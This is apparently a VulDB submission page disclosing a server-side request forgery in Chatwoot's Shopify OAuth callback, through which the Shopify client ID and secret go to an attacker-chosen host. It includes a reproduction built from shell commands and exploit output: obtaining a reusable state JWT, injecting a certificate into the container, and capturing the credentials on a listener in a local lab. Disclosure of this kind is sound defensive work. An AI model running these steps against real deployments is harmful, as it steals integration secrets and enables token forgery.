Invia #941600: chatwoot <= 3.x Server-Side Request Forgeryinformazioni

Titolochatwoot <= 3.x Server-Side Request Forgery
DescrizioneChatwoot Shopify OAuth SSRF + Credential Exfiltration ### Summary The Shopify OAuth callback endpoint constructs an `OAuth2::Client` using `params[:shop]` as the `site:` hostname without any validation. On code exchange, the OAuth2 gem POSTs to `https://{params[:shop]}/admin/oauth/access_token` with `client_id` and `client_secret` in both the request body and an `Authorization: Basic header`. Any authenticated user (agent-level) can obtain a non-expiring state JWT and replay it with an arbitrary `shop=` value, redirecting the outbound POST to an attacker-controlled host and exfiltrating the Shopify app credentials. ### Details Vulnerable code: ``` # callbacks_controller.rb:48 — unvalidated user input site: "https://#{params[:shop]}" # integration_helper.rb:17-21 — no exp, no shop binding def token_payload(account_id) { sub: account_id, iat: Time.current.to_i } end ``` ### To Reproduce ### PoC #### Environment | Item | Value | |------|-------| | Chatwoot image | `chatwoot/chatwoot:latest` (v3.x) | | DB | `pgvector/pgvector:pg16` | | Listener IP | `172.18.0.1` (Docker bridge host) | | Listener port | `9443` (HTTPS) | | Fake credentials | `SHOPIFY_CLIENT_ID=test_client_12345`, `SHOPIFY_CLIENT_SECRET=test_secret_99999` | #### Setup ```bash # 1. Start Chatwoot in Docker cd vuln-pipeline/targets/chatwoot/docker-test docker compose up -d # 2. Create account and obtain API token (sign-up route disabled in prod image) docker compose exec rails bundle exec rails runner " u = User.create!(name:'attacker', email:'[email protected]', password:'P@ssw0rd1!', password_confirmation:'P@ssw0rd1!', account_id: 1, role: :administrator) Account.first.account_users.create!(user: u, role: :administrator) " TOKEN=$(curl -s -X POST http://localhost:3000/auth/sign_in \ -H 'Content-Type: application/json' \ -d '{"email":"[email protected]","password":"P@ssw0rd1!"}' | \ python3 -c "import sys,json; print(json.load(sys.stdin)['data']['access_token'])") # 3. Set fake Shopify credentials in the DB docker compose exec rails bundle exec rails runner " ['SHOPIFY_CLIENT_ID','SHOPIFY_CLIENT_SECRET'].zip( ['test_client_12345','test_secret_99999'] ).each { |name, val| InstallationConfig.find_by(name: name)&.update!(value: val) || InstallationConfig.create!(name: name, value: val, locked: false) } " ``` #### Obtain State JWT ```bash STATE=$(curl -s -X POST http://localhost:3000/api/v1/accounts/2/integrations/shopify/auth \ -H "api_access_token: $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"shop_domain":"legitimate-shop.myshopify.com"}' | \ python3 -c " import sys, json, urllib.parse as u redir = json.load(sys.stdin)['redirect_url'] print(u.parse_qs(u.urlparse(redir).query)['state'][0]) ") echo "State JWT: $STATE" ``` #### Inject TLS Certificate into Container The OAuth2 gem verifies TLS. A self-signed cert for the listener IP must be trusted by the container: ```bash # Generate cert with SAN=IP:172.18.0.1 openssl req -x509 -newkey rsa:2048 -nodes -days 1 \ -keyout /tmp/poc.key -out /tmp/poc.crt \ -subj "/CN=172.18.0.1" \ -addext "subjectAltName=IP:172.18.0.1" # Append to container CA bundle cat /tmp/poc.crt | docker compose exec -T rails sh -c \ 'cat >> /etc/ssl/certs/ca-certificates.crt' ``` I have a PoC script that handles cert generation and injection automatically. Let me know if you need that. #### Fire the Exploit ```bash python3 scripts/chatwoot-F01-validate.py \ --base-url http://localhost:3000 \ --token "$TOKEN" \ --account-id 2 \ --listen-ip 172.18.0.1 \ --listen-port 9443 \ --container chatwoot-docker-test-rails-1 ``` #### Observed Output ``` ============================================================ Chatwoot F01 — SSRF + Shopify Credential Exfiltration PoC ============================================================ [*] Requesting state JWT from http://localhost:3000/api/v1/accounts/2/integrations/shopify/auth [+] State JWT obtained: eyJhbGciOiJIUzI1NiJ9.eyJzdWI... [+] Self-signed cert written to /tmp/tmp.../chatwoot_poc.crt [+] CA cert injected into container 'chatwoot-docker-test-rails-1' [*] HTTPS listener started on 172.18.0.1:9443 [*] Firing callback: GET http://localhost:3000/shopify/callback shop=172.18.0.1:9443 code=weaponized [+] VULNERABILITY CONFIRMED — Chatwoot POSTed credentials to attacker listener Path: /admin/oauth/access_token Authorization: Basic dGVzdF9jbGllbnRfMTIzNDU6dGVzdF9zZWNyZXRfOTk5OTk= Decoded creds: test_client_12345:test_secret_99999 SHOPIFY_CLIENT_ID = test_client_12345 SHOPIFY_CLIENT_SECRET = test_secret_99999 POST body: code=weaponized&grant_type=authorization_code&redirect_uri=%2Fshopify%2Fcallback ``` The `Authorization: Basic` header is how the OAuth2 gem authenticates the token exchange - it base64-encodes `client_id:client_secret` and sends it as a header, exfiltrating both values in a single request. ### Impact - **Credential theft**: `SHOPIFY_CLIENT_SECRET` exfiltrated to attacker - **SSRF**: server POSTs to arbitrary HTTPS URL (RFC-1918 reachable) - **Token forgery**: stolen secret enables forging JWTs for any account - **No expiry**: captured tokens are permanently reusable
Fonte⚠️ https://github.com/chatwoot/chatwoot/issues/14887
Utente
 geochen (UID 78995)
Sottomissione21/08/2026 01:11 (27 giorni fa)
Moderazione16/09/2026 14:33 (27 days later)
StatoAccettato
Voce VulDB405756 [chatwoot fino a 4.17.1 Shopify OAuth callbacks_controller.rb escalationi di privilegi]
Punti20

Interested in the pricing of exploits?

See the underground prices here!